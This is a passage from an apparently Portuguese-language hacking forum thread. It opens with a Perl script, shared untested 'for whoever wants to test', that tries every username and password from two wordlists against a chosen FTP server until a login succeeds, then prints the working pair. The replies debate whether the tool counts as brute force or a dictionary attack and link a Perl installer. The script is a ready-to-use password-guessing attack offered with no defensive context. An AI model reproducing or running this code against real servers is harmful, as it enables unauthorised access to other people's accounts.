Não testei pra vê se está funcionando, mas pra quem quiser testar está aew o código:
#!/usr/bin/perl -w
use strict;
use Net::FTP;
print "Please enter a file name for usernames: ";
chomp(my $user_file =<STDIN>);
open(USERS,"< $user_file") or die "Could not open $user_file: $!";
chomp(my @usernames = <USERS>);
print "Please enter a file name for passwords: ";
chomp(my $password_file = <STDIN>);
open(PASS,"< $password_file") or die "Could not open $password_file: $!";
chomp(my @passwords = <PASS>);
print "Please enter the target ftp site: ";
chomp(my $target_url = <STDIN>);
my $ftp = Net::FTP->new("$target_url", Debug => 0, Passive=>0)
or die "Cannot connect to some.host.name: $@";
my $times_connected = 0;
foreach(sort @usernames){
foreach my $pass (sort @passwords){
if ($times_connected == 3)
{
$ftp->quit();
$ftp = Net::FTP->new("$target_url", Debug => 0)
or die "Cannot connect to $target_url: $@";
$times_connected = 0;
}
if ($ftp->login($_,$pass)){
print "The user/password is " . $_ . "/". $pass ."\n";
$ftp->quit();
exit;
}
print $ftp->message;
$times_connected++;
}
next;
}
Autor: hangmansjoke
Me corrijam se estiver errado, mas ele não faz o Brute Force própriamente dito né? Ele faz um ataque por dicionário...
...by Cloudy
Não é por dicionário não, é por brute-force sim, pelo menos é isso que o meu pouco conhecimento de perl me diz, mas tenho quase certeza que é um brute-forcer sim senhor
Muito bom o Topico, acho que deveria mudar a fonte da letra ta complicado para ler !
Quem quiser baixar o Compilador do Perl para Windows o link é http://www.unb.br/ib/cel/download/Activ ... thread.msi (http://www.unb.br/ib/cel/download/ActivePerl-5.6.1.629-MSWin32-x86-multi-thread.msi)
Quote from: "Cloudy"Me corrijam se estiver errado, mas ele não faz o Brute Force própriamente dito né? Ele faz um ataque por dicionário...
...by Cloudy
Sim você esta errado lol, isso é sim um brute forcer você da a localização da lista de palavras que você quer que ele tente usar como senha, e ele tenta, se isso não faz dele um brute forcer, não sei mais de nada...
[]s